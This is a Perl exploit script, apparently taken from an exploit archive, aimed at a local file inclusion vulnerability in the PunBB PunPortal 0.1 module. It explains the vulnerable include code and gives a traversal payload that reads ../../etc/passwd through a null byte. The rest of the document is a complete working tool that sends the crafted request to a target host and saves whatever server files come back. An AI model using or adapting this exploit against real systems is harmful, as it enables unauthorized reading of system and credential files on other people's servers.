#!/usr/bin/perl
=about
PunBB (PunPortal 0.1) Local File Inclusion Exploit
--------------------------------------------------
by athos - staker[at]hotmail[dot]it
download mod http://www.punres.org/download.php?id=1108
download cms http://punbb.org
register globals = 1
magic quotes gcp = 1
File (include/login.php)
1. <?php
2.
3. // Show login if not logged in
4. if($pun_user['is_guest'])
5. {
6. if(!isset($focus_element) || (isset($focus_element) && !in_array('login', $focus_element)))
7. {
8.
9. // Load the language files
10. require PUN_ROOT.'lang/'.$pun_user['language'].'/common.php';
11. require PUN_ROOT.'lang/'.$pun_user['language'].'/login.php';
$pun_user['is_guest'] isn't declared
$pun_user['language'] isn't declared
include/user/login.php?pun_user[is_guest]=a&pun_user[language]=../../etc/passwd%00
how to fix?use the latest version (2.0)
Usage: perl punbb.pl localhost/cms
=cut
use strict;
use warnings;
use IO::Socket;
my $html = undef;
my $site = $ARGV[0] or &help;
my @take = split /\//,$site;
my ($host,$path) = @take;
if($site =~ /http:\/\/(.+?)/i) {
print STDOUT "Invalid URL\n";
exit;
}
print STDOUT "Local File (ex: ../../etc/passwd)\n";
print STDOUT "Local File: ";
chomp(my $file = <STDIN>);
if(not defined($file)) {
print STDOUT "File Not Defined!\n";
exit;
}
my $evil = "/include/user/login.php?pun_user[is_guest]=a&pun_user[language]=";
my $sock = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
Timeout => 6,
) or die $!;
my $data = "GET /${path}/${evil}${file}%00 HTTP/1.1\r\n".
"Host: $host\r\n".
"User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n".
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
"Accept-Language: en-us,en;q=0.5\r\n".
"Accept-Encoding: gzip,deflate\r\n".
"Connection: close\r\n\r\n";
$sock->send($data);
while(<$sock>) {
$html .= $_;
}
if($html =~ /(No such file or directory|HTTP\/1.1 404 Not Found)/i) {
print STDOUT "Exploit Failed!\n";
exit;
}
else {
my $name = int(rand(999)).'.txt';
open(FILE,">",$name);
print FILE $html;
close(FILE);
print STDOUT "Exploit Successfully!\n";
print STDOUT "$name saved!\n";
exit;
}
sub help {
print STDOUT "PunBB (PunPortal 0.1) Local File Inclusion Exploit\n".
"by athos - staker[at]hotmail[dot]it\n".
"Usage: perl $0 [host/path]\n";
exit;
}
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